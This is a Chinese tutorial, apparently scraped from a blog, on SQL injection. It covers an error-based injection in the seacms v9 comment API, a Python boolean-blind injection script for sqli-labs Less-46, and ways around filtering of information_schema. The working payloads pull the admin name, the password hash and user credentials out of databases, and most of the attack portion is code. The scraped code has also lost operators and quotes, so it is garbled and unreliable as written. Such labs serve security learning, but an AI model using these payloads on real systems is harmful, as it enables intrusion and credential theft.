客户评论 网站建设,简述建站流程,wordpress自动提交,阳江问政平台官网入口一、seacmsv9 SQL注入漏洞
1.1 seacms漏洞介绍
海洋影视管理系统#xff08;seacms#xff0c;海洋cms#xff09;是一套专为不同需求的站长而设计的视频点播系统#xff0c;采 用的是 php5.Xmysql 的架构#xff0c;seacmsv9漏洞文件#xff1a;./comment/api/index.p…一、seacmsv9 SQL注入漏洞
1.1 seacms漏洞介绍
海洋影视管理系统seacms海洋cms是一套专为不同需求的站长而设计的视频点播系统采 用的是 php5.Xmysql 的架构seacmsv9漏洞文件./comment/api/index.php漏洞参数$rlist
1.2 漏洞绕过 由于seacms开源可以知道seacmsv9系统数据库mysql为seacms存放管理员账号的表为 sea_admin表中存放管理员姓名的字段为name存放管理员密码的字段为password
经过源码分析使用以下语句注入limit避免管理员有多个导致SQL语句报错 name http://localhost/upload/comment/api/index.php?gid1page2type1rlist[], updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), 第一次尝试 并没有成功使用Wireshark抓包发现最终执行的SQL为 SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type1 AND id in (\, updatexml(1,concat_ws(0x20,0x5c,(select name from# sea_admin limit 0,1)),1), \) ORDER BY id DESC
在mysql数据库中执行这个SQL语句并没有报错报出管理员姓名
而下面修改为查询database()却能报出数据库名
经过查阅资料发现是前面sea_comment表没数据上图导致并没有执行报错中的 查询语句而database()能执行应该是优先执行的问题而sea_comment表中应该是 有数据的于是就插入了一条数据但发现还是没有执行于是又插入了一条数据发 现可以执行了 最后再次在地址栏尝试注入语句成功注入出账号为admin
password http://localhost/upload/comment/api/index.php?gid1page2type1rlist[], updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), 密码同理
注入密码为23a7bbd73250516f069d可以看出是经过md5加密的于是到https://cmd5.com/ 解密得到密码为admin123
自此 得到管理员账号为admin密码为admin123
二、order by 布尔盲注 2.1 环境介绍 sqlilabs靶场第46关参数sort传入id如下 参数sort传入username如下 看源码可知sort前面是order by通过sort传入的字段排序 2.2 布尔盲注 于是用sortif(表达式,id,username)的方式注入通过BeautifulSoup爬取表格中username下一格的 值是否等于Dumb来判断表达式的真假并使用二分查找加快注入速度从而实现boolen布尔 注入具体代码如下
import requests
from bs4 import BeautifulSoupdef get_username(resp):soup BeautifulSoup(resp,html.parser)username soup.select(body div:nth-child(1) font:nth-child(4) tr td:nth-child(2))[0].textreturn usernamedef inject_database_boolen():tables i 1while True:left 32right 127mid (left right) // 2while left right:url fhttp://localhost/sqli-labs-master/Less-46/index.php?sortif(ascii(substr(database(),{i},1)){mid},id,username) -- resp requests.get(url)if Dumb get_username(resp.text):left mid 1else:right midmid (left right) // 2if mid 32:breaktables chr(mid)i 1print(tables)def inject_table_boolen():tables i 1while True:left 32right 127mid (left right) // 2while left right:url fhttp://localhost/sqli-labs-master/Less-46/index.php?sortif(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schemadatabase()),{i},1)){mid},id,username) -- resp requests.get(url)if Dumb get_username(resp.text):left mid 1else:right midmid (left right) // 2if mid 32:breaktables chr(mid)i 1print(tables)def inject_column_boolen():tables i 1while True:left 32right 127mid (left right) // 2while left right:url fhttp://localhost/sqli-labs-master/Less-46/index.php?sortif(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schemadatabase() and table_nameusers),{i},1)){mid},id,username) -- resp requests.get(url)if Dumb get_username(resp.text):left mid 1else:right midmid (left right) // 2if mid 32:breaktables chr(mid)i 1print(tables)def inject_data_boolen():tables i 1while True:left 32right 127mid (left right) // 2while left right:url fhttp://localhost/sqli-labs-master/Less-46/index.php?sortif(ascii(substr((select group_concat(username,:,password) \from users),{i},1)){mid},id,username) -- resp requests.get(url)if Dumb get_username(resp.text):left mid 1else:right midmid (left right) // 2if mid 32:breaktables chr(mid)i 1print(tables)if __name__ __main__:# inject_database_boolen()# inject_table_boolen()# inject_column_boolen()inject_data_boolen() 注入结果如下 三、过滤information_schema解决方案(mysql) 3.1 获取表名 使用sys库下的schema_auto_increment_columns表代替具体如下 select table_name from sys.schema_auto_increment_columns where table_schemadatabase(); 3.2 获取字段名 使用join关键字的子查询使用using (字段名1,字段名2,..)逐个过滤已查询字段具体如下 select * from (select * from users as a join users as b)c; select * from (select * from users as a join users as b using (id))c; select * from (select * from users as a join users as b using (id,username))c;